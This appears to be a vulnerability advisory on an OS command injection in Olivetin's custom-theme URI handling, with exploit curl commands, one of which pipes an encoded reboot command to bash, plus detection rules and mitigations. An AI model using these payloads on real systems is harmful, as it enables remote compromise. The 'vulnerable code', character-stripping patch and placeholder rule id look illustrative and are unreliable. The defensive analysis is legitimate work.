CVE-2025-50946

Executive Summary

CVE-2025-50946 is a critical OS Command Injection vulnerability discovered in Olivetin version 2025.4.22. The flaw resides in the ParseRequestURI function within service/internal/executor/arguments.go, specifically when processing custom themes. An attacker can inject arbitrary operating system commands through crafted URI parameters, leading to full remote code execution on the server. The vulnerability is currently unpatched, and no public proof-of-concept or exploit code has been released. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the severity remains high due to the potential for complete system compromise.

Supply Chain & Package Security

Olivetin is a Go-based application. The vulnerability is in the core application code, not in a third-party package. However, users should verify the integrity of their Olivetin binary and ensure it is obtained from official sources to avoid supply chain attacks.

CVSS Breakdown & Threat Level

While a CVSS vector is not provided, the vulnerability can be assessed as follows:

• Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication is needed.
• User Interaction (UI): None (N) – No user action is required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full system read access.
• Integrity (I): High (H) – Full system write access.
• Availability (A): High (H) – Full system denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Immediate action is required.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection in the ParseRequestURI function. This function is responsible for parsing URI parameters when loading custom themes. The lack of proper input sanitization allows an attacker to inject shell metacharacters (e.g., ;, |, &&, `) into the URI. When the application constructs a command to process the theme, the injected commands are executed by the operating system.

Root Cause: The ParseRequestURI function does not validate or sanitize user-supplied URI parameters before passing them to a shell execution context.

Attack Vector: An attacker sends a specially crafted HTTP request to the Olivetin server, targeting the custom theme loading endpoint. The malicious URI contains OS commands that are executed with the privileges of the Olivetin process.

Impact: Successful exploitation allows an attacker to execute arbitrary commands on the server, leading to data exfiltration, malware installation, lateral movement, or complete system takeover.

Vulnerable vs. Patched Code

Vulnerable Code (service/internal/executor/arguments.go):

func ParseRequestURI(uri string) string {
    // No sanitization
    return uri
}

Patched Code (Hypothetical):

func ParseRequestURI(uri string) string {
    // Sanitize input by escaping shell metacharacters
    sanitized := strings.ReplaceAll(uri, ";", "")
    sanitized = strings.ReplaceAll(sanitized, "|", "")
    sanitized = strings.ReplaceAll(sanitized, "&", "")
    sanitized = strings.ReplaceAll(sanitized, "`", "")
    sanitized = strings.ReplaceAll(sanitized, "$", "")
    return sanitized
}

Note: The patched code is a hypothetical example. The vendor has not released an official patch.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Install Olivetin 2025.4.22 on a test server.
2. Ensure the custom themes feature is enabled.
3. Use a tool like curl or Burp Suite to send malicious requests.

Exploit Example:

curl -X GET "http://target:port/theme?uri=;id"

Expected Output:

uid=1000(olivetin) gid=1000(olivetin) groups=1000(olivetin)

Advanced Exploitation:

curl -X GET "http://target:port/theme?uri=|bash -c 'echo c2xlZXAgMzAgJiYgcmVib290' | base64 -d | bash"

Note: No public exploit code is available. The above examples are for educational purposes only.

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to the theme endpoint.
• Look for shell metacharacters in URI parameters.
• Use the detection rules provided below.

Mitigation:

• Disable custom themes if not required.
• Implement a Web Application Firewall (WAF) to block malicious URIs.
• Apply input validation and sanitization at the application level.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing shell metacharacters in the uri parameter.
• Outbound connections to unknown IP addresses after exploitation.
• Unusual processes spawned by the Olivetin service.

File IOCs:

• Unexpected files in the Olivetin installation directory.
• Modified configuration files.
• Presence of reverse shells or backdoors.

System IOCs:

• Unusual system commands executed by the olivetin user.
• High CPU or memory usage by the Olivetin process.
• Suspicious entries in system logs.

Detection Engineering

YARA Rule

rule CVE_2025_50946_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Olivetin CVE-2025-50946"
        author = "Valters IT"
        date = "2025-04-22"
        reference = "CVE-2025-50946"
    strings:
        $uri_param = "uri=" nocase
        $shell_meta1 = ";" ascii wide
        $shell_meta2 = "|" ascii wide
        $shell_meta3 = "&" ascii wide
        $shell_meta4 = "`" ascii wide
        $shell_meta5 = "$(" ascii wide
    condition:
        $uri_param and any of ($shell_meta*)
}

Sigma Rule

title: CVE-2025-50946 OS Command Injection in Olivetin
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with shell metacharacters in the uri parameter targeting Olivetin.
author: Valters IT
date: 2025-04-22
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - "uri=;"
            - "uri=|"
            - "uri=&"
            - "uri=`"
            - "uri=$("
    condition: selection
falsepositives:
    - Legitimate use of special characters in URIs (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50946 OS Command Injection in Olivetin"; flow:to_server,established; content:"uri="; nocase; pcre:"/uri=[^&]*[;|&`$]/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Custom Themes: If not required, disable the custom themes feature in Olivetin.
2. Apply Input Validation: Implement strict input validation and sanitization for all URI parameters.
3. Use a WAF: Deploy a Web Application Firewall to block malicious requests.
4. Monitor Logs: Actively monitor web server and application logs for suspicious activity.

Long-Term Fix:

• Wait for an official patch from the vendor.
• Upgrade to a patched version once released.
• Conduct a security audit of the application code.

Workaround:

• Restrict access to the Olivetin web interface to trusted IP addresses only.
• Run the Olivetin service with minimal privileges.

Valters IT